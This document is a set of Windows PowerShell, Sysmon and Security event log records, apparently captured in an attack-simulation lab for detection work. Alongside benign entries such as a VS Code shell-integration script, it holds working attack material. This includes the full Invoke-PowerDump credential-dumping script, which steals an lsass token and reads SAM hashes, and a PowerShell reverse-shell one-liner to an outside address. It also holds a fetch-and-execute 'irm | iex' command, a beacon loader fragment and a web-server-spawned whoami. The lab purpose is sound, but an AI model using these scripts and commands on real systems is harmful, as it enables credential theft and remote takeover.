4104 1 5 2 15 0x0 106710 Microsoft-Windows-PowerShell/Operational MSEDGEWIN10.snapattack.labs 1 1 function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
} 941348bc-a0bc-4eac-8e5a-5d29c6bf7f66 C:\Users\snapattack\Desktop\beacon.ps1
1 5 4 1 0 0x8000000000000000 113242 Microsoft-Windows-Sysmon/Operational Dev-Win10-1 - 2024-06-26 16:44:20.839 501694F9-4564-667C-AC12-000000002D00 8272 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.0.19041.546 (WinBuild.160101.0800) Windows PowerShell Microsoft® Windows® Operating System Microsoft Corporation PowerShell.EXE "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile -EncodedCommand UwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAnAEMAOgBcACcA C:\Windows\system32\ NT AUTHORITY\SYSTEM 501694F9-2DF8-667C-E703-000000000000 0x3e7 0 System MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7 501694F9-4561-667C-AB12-000000002D00 8584 C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{BD07DDB9-1C61-4DCE-9202-A2BA1757CDB2} NT AUTHORITY\SYSTEM
4104 1 5 2 15 0x0 48192 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 irm https://get.activated.win | iex fc9acb2d-6ca4-4814-9b2c-fa37a210e3ee
4688 2 0 13312 0 0x8020000000000000 415258 Security MSEDGEWIN10.snapattack.labs S-1-5-21-421648065-3458498710-3574272164-1103 snapattack SNAPATTACK 0x7fae4 0xa0c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe %%1937 0x2588 powershell.exe -ExecutionPolicy Bypass -C "if (! $(test-path -path \"C:\Program Files\SysInternalsSuite\")) { write-host \"[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.\"; exit 1;}Set-Location -path \"C:\Program Files\SysInternalsSuite\";if (!(test-path \".\readme.ps1\")) { Move-Item .\readme.txt readme.ps1 -Force;}. .\readme.ps1;Invoke-Discovery;" S-1-0-0 - - 0x0 C:\Users\Public\splunkd.exe S-1-16-12288
1 5 4 1 0 0x8000000000000000 65942 Microsoft-Windows-Sysmon/Operational arrakis.snapattack.labs - 2022-11-28 20:32:49.830 D52145E4-1AF1-6385-EB0F-000000001400 3024 C:\Windows\System32\cmd.exe 10.0.17763.592 (WinBuild.160101.0800) Windows Command Processor Microsoft® Windows® Operating System Microsoft Corporation Cmd.Exe "C:\Windows\System32\cmd.exe" /c cmd.exe /c whoami>C:\poc.txt c:\windows\system32\inetsrv\ NT AUTHORITY\SYSTEM D52145E4-75A0-634D-E703-000000000000 0x3e7 0 System MD5=975B45B669930B0CC773EAF2B414206F,SHA256=3656F37A1C6951EC4496FABB8EE957D3A6E3C276D5A3785476B482C9C0D32EA2,IMPHASH=272245E2988E1E430500B852C4FB5E18 D52145E4-17D9-6385-5801-000000001400 1388 C:\Windows\System32\inetsrv\w3wp.exe c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangePowerShellAppPool" -v "v4.0" -c "C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config" -a \\.\pipe\iisipmafffb617-0bdc-4dd7-ad8e-05a3d3a7fa19 -h "C:\inetpub\temp\apppools\MSExchangePowerShellAppPool\MSExchangePowerShellAppPool.config" -w "" -m 0 NT AUTHORITY\SYSTEM
4104 1 3 2 15 0x0 67653 Microsoft-Windows-PowerShell/Operational EC2AMAZ-NNKUICG 1 2 # Pulled from darkoperator's Posh-SecMod:
# https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
function Invoke-PowerDump
{
<#
.SYNOPSIS
Dumps hashes from the local system. Note: administrative privileges required.
.DESCRIPTION
Generate a command for dumping hashes from a Windows System PowerShell.exe -command
Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM
and execute a hashdump by reading the hashes from the registry.
.EXAMPLE
$enc = Get-PostHashdumpScript
C:\PS>powershell.exe -command $enc
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519:::
HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e:::
Executes the compressed command generated by the function and dumps the windows hashes from the registry.
.NOTES
PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K)
Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx
#>
$sign = @"
using System;
using System.Runtime.InteropServices;
public static class priv
{
[DllImport("shell32.dll")]
public static extern bool IsUserAnAdmin();
}
"@
$adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru
function ElevatePrivs
{
$signature = @"
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const int TOKEN_QUERY = 0x00000008;
public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
public const UInt32 TOKEN_DUPLICATE = 0x0002;
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID);
public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
public const int ANYSIZE_ARRAY = 1;
[StructLayout(LayoutKind.Sequential)]
public struct LUID
{
public UInt32 LowPart;
public UInt32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct LUID_AND_ATTRIBUTES {
public LUID Luid;
public UInt32 Attributes;
}
public struct TOKEN_PRIVILEGES {
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
public LUID_AND_ATTRIBUTES [] Privileges;
}
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool SetThreadToken(
IntPtr PHThread,
IntPtr Token
);
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle,
UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("kernel32.dll", ExactSpelling = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
"@
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
Write-Warning "Run the Command as an Administrator"
Break
}
Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
$adjPriv = [AdjPriv.AdjPriv]
[long]$luid = 0
$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $luid
$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
$retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
[IntPtr]$htoken = [IntPtr]::Zero
$retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
$tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
$retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($retVal)) {
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
Break
}
$process = (Get-Process -Name lsass)
#$process.name
[IntPtr]$hlsasstoken = [IntPtr]::Zero
$retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)
[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
$retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)
$retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
if(-not($retVal)) {
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
}
}
function LoadApi
{
$oldErrorAction = $global:ErrorActionPreference;
$global:ErrorActionPreference = "SilentlyContinue";
$test = [PowerDump.Native];
$global:ErrorActionPreference = $oldErrorAction;
if ($test)
{
# already loaded
return;
}
$code = @"
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;
namespace PowerDump
{
public class Native
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
int hKey,
string subKey,
int ulOptions,
int samDesired,
out int hkResult);
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
extern public static int RegEnumKeyEx(
int hkey,
int index,
StringBuilder lpName,
ref int lpcbName,
int reserved,
StringBuilder lpClass,
ref int lpcbClass,
out long lpftLastWriteTime);
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
extern public static int RegQueryInfoKey(
int hkey,
StringBuilder lpClass,
ref int lpcbClass,
int lpReserved,
out int lpcSubKeys,
out int lpcbMaxSubKeyLen,
out int lpcbMaxClassLen,
out int lpcValues,
out int lpcbMaxValueNameLen,
out int lpcbMaxValueLen,
out int lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern int RegCloseKey(
int hKey);
}
} // end namespace PowerDump
public class Shift {
public static int Right(int x, int count) { return x >> count; }
public static uint Right(uint x, int count) { return x >> count; }
public static long Right(long x, int count) { return x >> count; }
public static ulong Right(ulong x, int count) { return x >> count; }
public static int Left(int x, int count) { return x << count; }
public static uint Left(uint x, int count) { return x << count; }
public static long Left(long x, int count) { return x << count; }
public static ulong Left(ulong x, int count) { return x << count; }
}
"@
$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
$dllName = [PsObject].Assembly.Location
$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
$assemblies = @("System.dll", $dllName)
$compilerParameters.ReferencedAssemblies.AddRange($assemblies)
$compilerParameters.GenerateInMemory = $true
$compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
if($compilerResults.Errors.Count -gt 0) {
$compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
}
}
$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);
function sid_to_key($sid)
{
$s1 = @();
$s1 += [char]($sid -band 0xFF);
$s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
$s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
$s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
$s1 += $s1[0];
$s1 += $s1[1];
$s1 += $s1[2];
$s2 = @();
$s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
$s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
return ,((str_to_key $s1),(str_to_key $s2));
}
function str_to_key($s)
{
$key = @();
$key += [Shift]::Right([int]($s[0]), 1 );
$key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
$key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
$key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
$key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
$key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
$key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
$key += $([int]($s[6]) -band 0x7F);
0..7 | %{
$key[$_] = [Shift]::Left($key[$_], 1);
$key[$_] = $odd_parity[$key[$_]];
}
return ,$key;
}
function NewRC4([byte[]]$key)
{
return new-object Object |
Add-Member NoteProperty key $key -PassThru |
Add-Member NoteProperty S $null -PassThru |
Add-Member ScriptMethod init {
if (-not $this.S)
{
[byte[]]$this.S = 0..255;
0..255 | % -begin{[long]$j=0;}{
$j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
$temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
}
}
} -PassThru |
Add-Member ScriptMethod "encrypt" {
$data = $args[0];
$this.init();
$outbuf = new-object byte[] $($data.Length);
$S2 = $this.S[0..$this.S.Length];
0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
$i = ($i+1) % $S2.Length;
$j = ($j + $S2[$i]) % $S2.Length;
$temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
$a = $data[$_];
$b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
$outbuf[$_] = ($a -bxor $b);
}
return ,$outbuf;
} -PassThru
}
function des_encrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $true)
}
function des_decrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $false)
}
function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
$des = new-object Security.Cryptography.DESCryptoServiceProvider;
$des.Mode = [Security.Cryptography.CipherMode]::ECB;
$des.Padding = [Security.Cryptography.PaddingMode]::None;
$des.Key = $key;
$des.IV = $key;
$transform = $null;
if ($doEncrypt) {$transform = $des.CreateEncryptor();}
else{$transform = $des.CreateDecryptor();}
$result = $transform.TransformFinalBlock($data, 0, $data.Length);
return ,$result;
}
function Get-RegKeyClass([string]$key, [string]$subkey)
{
switch ($Key) {
"HKCR" { $nKey = 0x80000000} #HK Classes Root
"HKCU" { $nKey = 0x80000001} #HK Current User
"HKLM" { $nKey = 0x80000002} #HK Local Machine
"HKU" { $nKey = 0x80000003} #HK Users
"HKCC" { $nKey = 0x80000005} #HK Current Config
default {
throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
}
}
$KEYQUERYVALUE = 0x1;
$KEYREAD = 0x19;
$KEYALLACCESS = 0x3F;
$result = "";
[int]$hkey=0
if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
{
$classVal = New-Object Text.Stringbuilder 1024
[int]$len = 1024
if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
574377f1-34ba-4c02-ab94-90bcbe218966 C:\Users\user\AppData\Local\Temp\PowerDump.ps1
3 5 4 3 0 0x8000000000000000 746096 Microsoft-Windows-Sysmon/Operational Win10Victim - 2021-12-16 16:20:00.964 4545B65A-6735-61BB-3126-000000000D00 7276 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Win10Victim\bob tcp true false 10.0.0.5 Win10Victim.szoi45m50kxuhgtaillgn00qkd.bx.internal.cloudapp.net 54717 - false 10.0.0.6 ubuntu.internal.cloudapp.net 88 kerberos
3 5 4 3 0 0x8000000000000000 8507 Microsoft-Windows-Sysmon/Operational win10-base - 2022-03-04 00:09:37.096 B50C7A1E-58BD-6221-EC0B-000000002E00 416 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WIN10-BASE\user tcp true false 10.0.64.65 win10-base.ec2.internal 63324 - false 185.199.108.133 cdn-185-199-108-133.github.com 443 https
4104 1 5 2 15 0x0 87197 Microsoft-Windows-PowerShell/Operational DC01.snapattack.labs 1 1 # ---------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# ---------------------------------------------------------------------------------------------
# Prevent installing more than once per session
if (Test-Path variable:global:__VSCodeOriginalPrompt) {
return;
}
# Disable shell integration when the language mode is restricted
if ($ExecutionContext.SessionState.LanguageMode -ne "FullLanguage") {
return;
}
$Global:__VSCodeOriginalPrompt = $function:Prompt
$Global:__LastHistoryId = -1
# Store the nonce in script scope and unset the global
$Nonce = $env:VSCODE_NONCE
$env:VSCODE_NONCE = $null
$isStable = $env:VSCODE_STABLE
$env:VSCODE_STABLE = $null
$osVersion = [System.Environment]::OSVersion.Version
$isWindows10 = $IsWindows -and $osVersion.Major -eq 10 -and $osVersion.Minor -eq 0 -and $osVersion.Build -lt 22000
if ($env:VSCODE_ENV_REPLACE) {
$Split = $env:VSCODE_ENV_REPLACE.Split(":")
foreach ($Item in $Split) {
$Inner = $Item.Split('=', 2)
[Environment]::SetEnvironmentVariable($Inner[0], $Inner[1].Replace('\x3a', ':'))
}
$env:VSCODE_ENV_REPLACE = $null
}
if ($env:VSCODE_ENV_PREPEND) {
$Split = $env:VSCODE_ENV_PREPEND.Split(":")
foreach ($Item in $Split) {
$Inner = $Item.Split('=', 2)
[Environment]::SetEnvironmentVariable($Inner[0], $Inner[1].Replace('\x3a', ':') + [Environment]::GetEnvironmentVariable($Inner[0]))
}
$env:VSCODE_ENV_PREPEND = $null
}
if ($env:VSCODE_ENV_APPEND) {
$Split = $env:VSCODE_ENV_APPEND.Split(":")
foreach ($Item in $Split) {
$Inner = $Item.Split('=', 2)
[Environment]::SetEnvironmentVariable($Inner[0], [Environment]::GetEnvironmentVariable($Inner[0]) + $Inner[1].Replace('\x3a', ':'))
}
$env:VSCODE_ENV_APPEND = $null
}
function Global:__VSCode-Escape-Value([string]$value) {
# NOTE: In PowerShell v6.1+, this can be written `$value -replace '…', { … }` instead of `[regex]::Replace`.
# Replace any non-alphanumeric characters.
[regex]::Replace($value, "[$([char]0x00)-$([char]0x1f)\\\n;]", { param($match)
# Encode the (ascii) matches as `\x`
-Join (
[System.Text.Encoding]::UTF8.GetBytes($match.Value) | ForEach-Object { '\x{0:x2}' -f $_ }
)
})
}
function Global:Prompt() {
$FakeCode = [int]!$global:?
# NOTE: We disable strict mode for the scope of this function because it unhelpfully throws an
# error when $LastHistoryEntry is null, and is not otherwise useful.
Set-StrictMode -Off
$LastHistoryEntry = Get-History -Count 1
$Result = ""
# Skip finishing the command if the first command has not yet started
if ($Global:__LastHistoryId -ne -1) {
if ($LastHistoryEntry.Id -eq $Global:__LastHistoryId) {
# Don't provide a command line or exit code if there was no history entry (eg. ctrl+c, enter on no command)
$Result += "$([char]0x1b)]633;D`a"
}
else {
# Command finished exit code
# OSC 633 ; D [; ] ST
$Result += "$([char]0x1b)]633;D;$FakeCode`a"
}
}
# Prompt started
# OSC 633 ; A ST
$Result += "$([char]0x1b)]633;A`a"
# Current working directory
# OSC 633 ; = ST
$Result += if ($pwd.Provider.Name -eq 'FileSystem') { "$([char]0x1b)]633;P;Cwd=$(__VSCode-Escape-Value $pwd.ProviderPath)`a" }
# Before running the original prompt, put $? back to what it was:
if ($FakeCode -ne 0) {
Write-Error "failure" -ea ignore
}
# Run the original prompt
$OriginalPrompt += $Global:__VSCodeOriginalPrompt.Invoke()
$Result += $OriginalPrompt
# Prompt
# OSC 633 ; = ST
if ($isStable -eq "0") {
$Result += "$([char]0x1b)]633;P;Prompt=$(__VSCode-Escape-Value $OriginalPrompt)`a"
}
# Write command started
$Result += "$([char]0x1b)]633;B`a"
$Global:__LastHistoryId = $LastHistoryEntry.Id
return $Result
}
# Only send the command executed sequence when PSReadLine is loaded, if not shell integration should
# still work thanks to the command line sequence
if (Get-Module -Name PSReadLine) {
$__VSCodeOriginalPSConsoleHostReadLine = $function:PSConsoleHostReadLine
function Global:PSConsoleHostReadLine {
$CommandLine = $__VSCodeOriginalPSConsoleHostReadLine.Invoke()
# Command line
# OSC 633 ; E ; ; ST
$Result = "$([char]0x1b)]633;E;"
$Result += $(__VSCode-Escape-Value $CommandLine)
# Only send the nonce if the OS is not Windows 10 as it seems to echo to the terminal
# sometimes
if ($IsWindows10 -eq $false) {
$Result += ";$Nonce"
}
$Result += "`a"
# Command executed
# OSC 633 ; C ST
$Result += "$([char]0x1b)]633;C`a"
# Write command executed sequence directly to Console to avoid the new line from Write-Host
[Console]::Write($Result)
$CommandLine
}
}
# Set IsWindows property
if ($PSVersionTable.PSVersion -lt "6.0") {
# Windows PowerShell is only available on Windows
[Console]::Write("$([char]0x1b)]633;P;IsWindows=$true`a")
}
else {
[Console]::Write("$([char]0x1b)]633;P;IsWindows=$IsWindows`a")
}
# Set ContinuationPrompt property
if ($isStable -eq "0") {
$ContinuationPrompt = (Get-PSReadLineOption).ContinuationPrompt
if ($ContinuationPrompt) {
[Console]::Write("$([char]0x1b)]633;P;ContinuationPrompt=$(__VSCode-Escape-Value $ContinuationPrompt)`a")
}
}
# Set always on key handlers which map to default VS Code keybindings
function Set-MappedKeyHandler {
param ([string[]] $Chord, [string[]]$Sequence)
try {
$Handler = Get-PSReadLineKeyHandler -Chord $Chord | Select-Object -First 1
}
catch [System.Management.Automation.ParameterBindingException] {
# PowerShell 5.1 ships with PSReadLine 2.0.0 which does not have -Chord,
# so we check what's bound and filter it.
$Handler = Get-PSReadLineKeyHandler -Bound | Where-Object -FilterScript { $_.Key -eq $Chord } | Select-Object -First 1
}
if ($Handler) {
Set-PSReadLineKeyHandler -Chord $Sequence -Function $Handler.Function
}
}
function Get-KeywordCompletionResult(
$Keyword,
$Description = $Keyword
) {
[System.Management.Automation.CompletionResult]::new($Keyword, $Keyword, [System.Management.Automation.CompletionResultType]::Keyword, $Description)
}
function Set-MappedKeyHandlers {
Set-MappedKeyHandler -Chord Ctrl+Spacebar -Sequence 'F12,a'
Set-MappedKeyHandler -Chord Alt+Spacebar -Sequence 'F12,b'
Set-MappedKeyHandler -Chord Shift+Enter -Sequence 'F12,c'
Set-MappedKeyHandler -Chord Shift+End -Sequence 'F12,d'
# Enable suggestions if the environment variable is set and Windows PowerShell is not being used
# as APIs are not available to support this feature
if ($env:VSCODE_SUGGEST -eq '1' -and $PSVersionTable.PSVersion -ge "7.0") {
Remove-Item Env:VSCODE_SUGGEST
# VS Code send completions request (may override Ctrl+Spacebar)
Set-PSReadLineKeyHandler -Chord 'F12,e' -ScriptBlock {
Send-Completions
}
# VS Code send global completions request
Set-PSReadLineKeyHandler -Chord 'F12,f' -ScriptBlock {
# Get commands, convert to string array to reduce the payload size and send as JSON
$commands = @(
[System.Management.Automation.CompletionCompleters]::CompleteCommand('')
Get-KeywordCompletionResult -Keyword 'begin'
Get-KeywordCompletionResult -Keyword 'break'
Get-KeywordCompletionResult -Keyword 'catch' -Description "catch [[][',' ]*] {}"
Get-KeywordCompletionResult -Keyword 'class' -Description @"
class [: [][,]] {
[[] [hidden] [static] ...]
[([])
{} ...]
[[] [hidden] [static] ...]
}
"@
Get-KeywordCompletionResult -Keyword 'clean'
Get-KeywordCompletionResult -Keyword 'continue'
Get-KeywordCompletionResult -Keyword 'data' -Description @"
data [] [-supportedCommand ] {
}
"@
Get-KeywordCompletionResult -Keyword 'do' -Description @"
do {} while ()
do {} until ()
"@
Get-KeywordCompletionResult -Keyword 'dynamicparam' -Description "dynamicparam {}"
Get-KeywordCompletionResult -Keyword 'else' -Description @"
if ()
{}
[elseif ()
{}]
[else
{}]
"@
Get-KeywordCompletionResult -Keyword 'elseif' -Description @"
if ()
{}
[elseif ()
{}]
[else
{}]
"@
Get-KeywordCompletionResult -Keyword 'end'
Get-KeywordCompletionResult -Keyword 'enum' -Description @"
[[]...] [Flag()] enum [ : ] {
3efea156-98e0-4700-8118-b41e94a6e4fc C:\Users\domainadmin\.vscode\cli\servers\Stable-38c31bc77e0dd6ae88a4e9cc93428cc27a56ba40\server\out\vs\workbench\contrib\terminal\browser\media\shellIntegration.ps1
1 5 4 1 0 0x8000000000000000 1437 Microsoft-Windows-Sysmon/Operational SLABS-DC.snapattack.labs - 2023-03-08 23:31:20.378 97232C30-1AC8-6409-D205-000000000902 1880 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.0.17763.1 (WinBuild.160101.0800) Windows PowerShell Microsoft® Windows® Operating System Microsoft Corporation PowerShell.EXE powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" C:\Windows\system32\ NT AUTHORITY\SYSTEM 97232C30-19B6-6409-E703-000000000000 0x3e7 0 System MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F 97232C30-1AC8-6409-D105-000000000902 5380 C:\Windows\System32\cmd.exe cmd.exe /u NT AUTHORITY\SYSTEM
